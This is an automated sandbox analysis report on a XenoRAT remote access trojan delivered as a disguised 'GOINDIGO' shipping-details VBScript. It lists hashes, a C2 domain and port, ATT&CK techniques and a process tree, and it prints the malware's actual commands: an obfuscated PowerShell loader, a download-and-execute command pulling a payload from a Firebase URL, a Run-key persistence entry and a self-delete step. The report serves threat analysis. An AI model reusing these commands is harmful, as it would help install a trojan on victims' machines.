xenorat | 56c0fcdebcda39f9a98c7b4471aeee2e8e7389bf2e5874fa945fe3f61c4ac654

Analysis

max time kernel
102s
max time network
102s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10-07-2024 15:12

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General

Target

GOINDIGO_PN#_Desc_&_Qty Details.vbs
Size

6.6MB
MD5

6776a1e5031d3e57bff6359bc884c1f3
SHA1

bb9883c15f718846f1e23744f09044fc6185f25f
SHA256

56c0fcdebcda39f9a98c7b4471aeee2e8e7389bf2e5874fa945fe3f61c4ac654
SHA512

7b0c36ffa6ffdf300cfe50539f096cbc3a0181b8a1632012c88bea3270cf239757c45b4f26a3aaf723b9bce29fdb22194ddd6351b669d2257fe34523fe1c1f81
SSDEEP

1536:7ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssV:SI

Score

10^/10

xenorat execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Extracted

Family

xenorat

krecgh.4cloud.click

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
nothingset
port
3398
startup_name
nothingset

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3876	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________------------- = "Powershell.exe -WindowStyle hidden \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\xx2.vbs' \""	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3876 set thread context of 2220	3876	powershell.exe	92

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
5116	powershell.exe
4484	powershell.exe
3876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4484	powershell.exe
4484	powershell.exe
3876	powershell.exe
3876	powershell.exe
1996	powershell.exe
3624	powershell.exe
1996	powershell.exe
3624	powershell.exe
1996	powershell.exe
5116	powershell.exe
5116	powershell.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe
2220	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	2220	RegSvcs.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 4484	1056	WScript.exe	83
PID 1056 wrote to memory of 4484	1056	WScript.exe	83
PID 4484 wrote to memory of 3876	4484	powershell.exe	85
PID 4484 wrote to memory of 3876	4484	powershell.exe	85
PID 3876 wrote to memory of 1996	3876	powershell.exe	89
PID 3876 wrote to memory of 1996	3876	powershell.exe	89
PID 3876 wrote to memory of 3624	3876	powershell.exe	90
PID 3876 wrote to memory of 3624	3876	powershell.exe	90
PID 1996 wrote to memory of 5116	1996	powershell.exe	91
PID 1996 wrote to memory of 5116	1996	powershell.exe	91
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 3876 wrote to memory of 2220	3876	powershell.exe	92
PID 2220 wrote to memory of 1328	2220	RegSvcs.exe	96
PID 2220 wrote to memory of 1328	2220	RegSvcs.exe	96
PID 2220 wrote to memory of 1328	2220	RegSvcs.exe	96
PID 2220 wrote to memory of 4868	2220	RegSvcs.exe	98
PID 2220 wrote to memory of 4868	2220	RegSvcs.exe	98
PID 2220 wrote to memory of 4868	2220	RegSvcs.exe	98
PID 4868 wrote to memory of 1988	4868	cmd.exe	100
PID 4868 wrote to memory of 1988	4868	cmd.exe	100
PID 4868 wrote to memory of 1988	4868	cmd.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GOINDIGO_PN#_Desc_&_Qty Details.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bw▒HM▒aQBj▒HQ▒I▒▒9▒C▒▒Jw▒w▒DE▒Jw▒7▒CQ▒ZgBp▒Ho▒YgBs▒C▒▒PQ▒g▒Cc▒JQBw▒Ho▒QQBj▒E8▒ZwBJ▒G4▒TQBy▒CU▒Jw▒7▒Fs▒QgB5▒HQ▒ZQBb▒F0▒XQ▒g▒CQ▒d▒Bi▒HQ▒ZgBi▒C▒▒PQ▒g▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBD▒G8▒bgB2▒GU▒cgB0▒F0▒Og▒6▒EY▒cgBv▒G0▒QgBh▒HM▒ZQ▒2▒DQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒g▒Cg▒TgBl▒Hc▒LQBP▒GI▒agBl▒GM▒d▒▒g▒E4▒ZQB0▒C4▒VwBl▒GI▒QwBs▒Gk▒ZQBu▒HQ▒KQ▒u▒EQ▒bwB3▒G4▒b▒Bv▒GE▒Z▒BT▒HQ▒cgBp▒G4▒Zw▒o▒Cc▒a▒B0▒HQ▒c▒Bz▒Do▒Lw▒v▒GY▒aQBy▒GU▒YgBh▒HM▒ZQBz▒HQ▒bwBy▒GE▒ZwBl▒C4▒ZwBv▒G8▒ZwBs▒GU▒YQBw▒Gk▒cw▒u▒GM▒bwBt▒C8▒dg▒w▒C8▒Yg▒v▒HI▒bwBk▒HI▒aQBh▒Gs▒Z▒▒t▒Dg▒N▒▒x▒DM▒Z▒▒u▒GE▒c▒Bw▒HM▒c▒Bv▒HQ▒LgBj▒G8▒bQ▒v▒G8▒LwBk▒Gw▒b▒▒l▒DI▒RgBk▒Gw▒b▒▒l▒DI▒M▒BI▒G8▒c▒Bl▒C4▒d▒B4▒HQ▒PwBh▒Gw▒d▒▒9▒G0▒ZQBk▒Gk▒YQ▒m▒HQ▒bwBr▒GU▒bg▒9▒DY▒MQBj▒Dg▒Mg▒5▒GY▒Ng▒t▒GU▒MQ▒5▒DY▒LQ▒0▒Dk▒ZQ▒4▒C0▒Yg▒0▒GY▒Zg▒t▒D▒▒N▒▒x▒DE▒Mw▒0▒DU▒Nw▒3▒GY▒ZgBl▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒B0▒GI▒d▒Bm▒GI▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DM▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒DI▒Nw▒0▒DQ▒MQBl▒DQ▒ZQ▒y▒GI▒ZQ▒w▒C0▒M▒▒w▒GM▒YQ▒t▒GU▒MQ▒2▒DQ▒LQ▒4▒GQ▒N▒Bi▒C0▒MwBi▒Dg▒YwBl▒DM▒NwBl▒D0▒bgBl▒Gs▒bwB0▒CY▒YQBp▒GQ▒ZQBt▒D0▒d▒Bs▒GE▒PwB0▒Hg▒d▒▒u▒HI▒YQB0▒FM▒Z▒Bl▒FI▒LwBv▒C8▒bQBv▒GM▒LgB0▒G8▒c▒Bz▒H▒▒c▒Bh▒C4▒M▒▒4▒Dk▒Ng▒1▒C0▒ZQBw▒G8▒a▒▒v▒GI▒Lw▒w▒HY▒LwBt▒G8▒Yw▒u▒HM▒aQBw▒GE▒ZQBs▒Gc▒bwBv▒Gc▒LgBl▒Gc▒YQBy▒G8▒d▒Bz▒GU▒cwBh▒GI▒ZQBy▒Gk▒Zg▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒GY▒aQB6▒GI▒b▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒c▒Bz▒Gk▒YwB0▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\GOINDIGO_PN#_Desc_&_Qty Details.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$psict = '01';$fizbl = 'C:\Users\Admin\AppData\Local\Temp\GOINDIGO_PN#_Desc_&_Qty Details.vbs';[Byte[]] $tbtfb = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($tbtfb).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('27441e4e2be0-00ca-e164-8d4b-3b8ce37e=nekot&aidem=tla?txt.ratSdeR/o/moc.topsppa.08965-epoh/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $fizbl , '_______________________-------------', $psict, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\GOINDIGO_PN#_Desc_&_Qty Details.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3624
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2220
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /query /v /fo csv
        5⤵
        
        PID:1328
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4868
      - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
976B

MD5
7b07823effb30f11f2e228005f5e151f

SHA1
8962692fbac2ac00d347933f2e968113f154a3f0

SHA256
f79e67e83189d99614ba89d21670473953f9122eaf85db854b836353c93b7ec9

SHA512
561ef1d85d61a5ea5f6d434ed77ec3c8ce36deff035e800f73f22010c4ad6747d26fa03dd1166a6be439828155ee5eed84ec610347c83cd362f3c80c6294a9f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mt2frmso.wq4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xx1.ps1

Filesize
265B

MD5
3613b0cfa9cd66b5bc0bc4aabe147838

SHA1
94bb2a7ae944b9906f95ac19bd3fd199a4396a6b

SHA256
6bc7c43d63f298a0078345bac278b90076521d73259fc34f046df021d738f653

SHA512
282e0d1543850ea5affae87b3e66d1ffbf837c1f2c976843874dc6f0746bb989b18b9ff0be74726165cd8dbdb64068d21f9bd44f04eef5764e1f14fccd31698b

Download Submit
memory/2220-67-0x0000000005F20000-0x0000000005F86000-memory.dmp

Filesize
408KB

Download
memory/2220-61-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3876-60-0x00000212D2180000-0x00000212D218A000-memory.dmp

Filesize
40KB

Download
memory/3876-22-0x00000212D2170000-0x00000212D2178000-memory.dmp

Filesize
32KB

Download
memory/4484-0-0x00007FFB5A243000-0x00007FFB5A245000-memory.dmp

Filesize
8KB

Download
memory/4484-12-0x00007FFB5A240000-0x00007FFB5AD01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-11-0x00007FFB5A240000-0x00007FFB5AD01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-66-0x00007FFB5A240000-0x00007FFB5AD01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-1-0x0000015CFB0F0000-0x0000015CFB112000-memory.dmp

Filesize
136KB

Download